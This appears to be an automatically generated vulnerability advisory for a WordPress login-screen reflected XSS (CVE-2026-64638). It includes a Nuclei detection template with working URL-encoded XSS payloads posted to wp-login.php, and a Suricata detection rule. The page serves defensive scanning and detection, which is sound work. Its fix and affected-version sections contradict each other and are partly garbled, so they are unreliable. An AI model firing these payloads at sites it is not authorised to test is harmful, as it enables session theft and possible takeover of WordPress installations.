VULNpocalypse

CVE-2026-64638: WordPress vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-11 15:49 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

WordPress is vulnerable to a pre-auth reflected XSS vulnerability on the login screen. Via a specially crafted malicious third-party website hosted by an attacker, it is possible for this to be escalated to an RCE vulnerability with conditions outside of the attackers control. This requires successful social engineering of and explicit interaction by the target victim. This issue affects all versions of WordPress. Version 7.0.3 has been released, containing a fix for the vulnerability, and as a courtesy to users on older branches the fix has been backported to all branches back to 4.7. Discovered and responsibly disclosed by [the team at pwn.ai](https://pwn.ai/).

Description quoted from the CVE record (assigned by hackerone, published 2026-08-07).

Weakness: CWE-79 Cross-site Scripting (XSS) - Reflected

How it can be exploited

Exploitable over the network with high attack complexity with no special attack requirements needing no privileges and a user must actively take an action. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template and 30 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 36 references on Exploit Observer

Live scores

EPSS
0.009
low predicted chance of attack
VEDAS
0.989
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
WordPressNot stated0 is not affected (up to 7.0.3)

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

WordPress - Cross-Site Scripting

WordPress is vulnerable to a pre-auth reflected XSS vulnerability on the login screen. Via a specially crafted malicious third-party website hosted by an attacker, it is possible for this to be escalated to an RCE vulnerability with conditions outside of the attackers control.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (POST /wp-login.php, POST /wp-login.php, GET /wp-login.php); it decides using regex, status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-64638.yaml
Show the template (70 lines)
yaml
id: CVE-2026-64638

info:
  name: WordPress - Cross-Site Scripting
  author: vedas-arpsyndicate
  severity: high
  description: |
    WordPress is vulnerable to a pre-auth reflected XSS vulnerability on the login screen. Via a specially crafted
    malicious third-party website hosted by an attacker, it is possible for this to be escalated to an RCE
    vulnerability with conditions outside of the attackers control.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-64638&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.9
    cve-id: CVE-2026-64638
    cwe-id: CWE-79
  metadata:
    verified: false
  tags: cve,cve2026,wordpress,xss,rce,pwnai
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php"

    matchers:
      - type: word
        part: body
        words:
          - "loginform"
          - "wp-core-ui"
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In

      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_envelope%3D1%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "<area[^>]*id=[\"']?ajaxurl"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - "<area[^>]*id=[\"']?ajaxurl[^>]*>"

CVE-2026-64638.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-64638 WordPress - Cross-Site Scripting. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-64638 WordPress - Cross-Site Scripting"; flow:established,to_server; http.uri; content:"/wp-login.php"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-64638; reference:url,https://www.exploit.observer/?keyword=CVE-2026-64638&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact; sid:1010305; rev:1;)

CVE-2026-64638.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners

Feasible SecurityAskealGoTrust